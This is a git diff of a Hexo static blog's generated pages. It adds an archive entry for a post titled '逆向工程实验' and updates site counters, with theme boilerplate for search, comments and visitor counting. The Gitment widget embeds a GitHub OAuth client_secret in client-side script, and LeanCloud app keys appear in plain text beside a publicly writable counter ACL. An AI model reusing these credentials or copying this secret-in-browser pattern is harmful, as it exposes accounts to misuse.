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+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://aimingoo.github.io/gitmint/style/default.css">
+        <script src="https://aimingoo.github.io/gitmint/dist/gitmint.browser.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+      <script type="text/javascript">
+      function renderGitment(){
+        var gitment = new Gitmint({
+            id: window.location.pathname, 
+            owner: 'Cool-Y',
+            repo: 'gitment-comments',
+            
+            lang: "" || navigator.language || navigator.systemLanguage || navigator.userLanguage,
+            
+            oauth: {
+            
+            
+                client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
+            
+                client_id: '180955a2c3ae3d966d9a'
+            }});
+        gitment.render('gitment-container');
+      }
+
+      
+      renderGitment();
+      
+      </script>
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/about/index.html b/about/index.html
index 458ada65..55b89450 100644
--- a/about/index.html
+++ b/about/index.html
@@ -367,7 +367,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -466,7 +466,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html
index 73a2accf..4a92cf74 100644
--- a/archives/2000/01/index.html
+++ b/archives/2000/01/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +408,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +419,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -496,7 +496,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/archives/2000/index.html b/archives/2000/index.html
index 3a0178dc..28fac996 100644
--- a/archives/2000/index.html
+++ b/archives/2000/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +408,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +419,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -496,7 +496,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html
index d234ce52..131d4304 100644
--- a/archives/2018/11/index.html
+++ b/archives/2018/11/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +408,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +419,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -496,7 +496,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html
index 74069904..9772af1c 100644
--- a/archives/2018/12/index.html
+++ b/archives/2018/12/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -467,7 +467,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -478,7 +478,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -489,7 +489,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
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diff --git a/archives/2018/index.html b/archives/2018/index.html
index 5a54006b..c8e39a3a 100644
--- a/archives/2018/index.html
+++ b/archives/2018/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -502,7 +502,7 @@
               
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 </div>
 
diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html
index f3a3d84b..3cb3413c 100644
--- a/archives/2019/01/index.html
+++ b/archives/2019/01/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
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@@ -397,7 +397,7 @@
               
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 </div>
 
diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html
index bdcc277f..dc77aca0 100644
--- a/archives/2019/02/index.html
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@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
                 <a href="/archives/">
               
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 </div>
 
diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html
index fabf617b..77eb8c37 100644
--- a/archives/2019/03/index.html
+++ b/archives/2019/03/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +318,41 @@
 
         
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
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+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
+              
+                <span itemprop="name">逆向工程实验</span>
+              
+            </a>
+        
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+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
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+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
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     <header class="post-header">
 
@@ -467,7 +502,7 @@
               
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+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
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     </span>
     
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+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/archives/2019/index.html b/archives/2019/index.html
index c5b5f0fd..d6b089fb 100644
--- a/archives/2019/index.html
+++ b/archives/2019/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +318,41 @@
 
         
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
+              
+                <span itemprop="name">逆向工程实验</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
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+      </div>
+
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+
+
+      
+
+        
+        
+        
+
+        
+        
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+
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@@ -537,7 +572,7 @@
               
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+                  <span class="site-state-item-count">25</span>
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@@ -636,7 +671,7 @@
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     </span>
     
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+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/archives/index.html b/archives/index.html
index 6cac4dda..a8672321 100644
--- a/archives/index.html
+++ b/archives/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 10 篇日志。 继续努力。
+        嗯..! 目前共计 11 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +318,41 @@
 
         
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
+              
+                <span itemprop="name">逆向工程实验</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
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+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
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     <header class="post-header">
 
@@ -629,46 +664,6 @@
 
       
 
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-        
-        
-
-        
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-        
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-
-
-      
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     </div>
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@@ -676,6 +671,10 @@
   
 
   
+  <nav class="pagination">
+    <span class="page-number current">1</span><a class="page-number" href="/archives/page/2/">2</a><a class="extend next" rel="next" href="/archives/page/2/"><i class="fa fa-angle-right"></i></a>
+  </nav>
+
 
 
 
@@ -722,7 +721,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
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               <div class="site-state-item site-state-categories">
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+                  <span class="site-state-item-count">7</span>
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@@ -744,7 +743,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
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                 </a>
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@@ -821,7 +820,7 @@
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     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
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new file mode 100644
index 00000000..6ba5f51f
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+
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+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
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+
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+
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+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
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+
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+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
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+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
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+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
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+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
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+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
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+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
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+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
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+
+
+
+
+<meta property="og:type" content="website">
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+<meta property="og:url" content="https://cool-y.github.io/archives/page/2/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
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+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
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+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
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+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/archives/page/2/">
+
+
+
+
+
+  <title>归档 | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left page-archive">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
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+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
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+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
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+  <div class="site-nav-toggle">
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+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
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+
+  
+    <ul id="menu" class="menu">
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+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
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+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
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+            归档
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+        </li>
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+        
+        <li class="menu-item menu-item-bookmarks">
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+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
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+      
+
+      
+        <li class="menu-item menu-item-search">
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+            <a href="javascript:;" class="popup-trigger">
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+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
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+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
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+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
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+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  
+  
+  
+  <div class="post-block archive">
+    <div id="posts" class="posts-collapse">
+      <span class="archive-move-on"></span>
+
+      <span class="archive-page-counter">
+        
+        
+        
+          
+        
+        嗯..! 目前共计 11 篇日志。 继续努力。
+      </span>
+
+      
+
+        
+        
+        
+
+        
+          
+          <div class="collection-title">
+            <h1 class="archive-year" id="archive-year-2000">2000</h1>
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+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">
+              
+                <span itemprop="name">Hello World</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2000-01-01T00:00:00+08:00" content="2000-01-01">
+          01-01
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+    </div>
+  </div>
+  
+  
+  
+
+  
+  <nav class="pagination">
+    <a class="extend prev" rel="prev" href="/archives/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/archives/">1</a><span class="page-number current">2</span>
+  </nav>
+
+
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
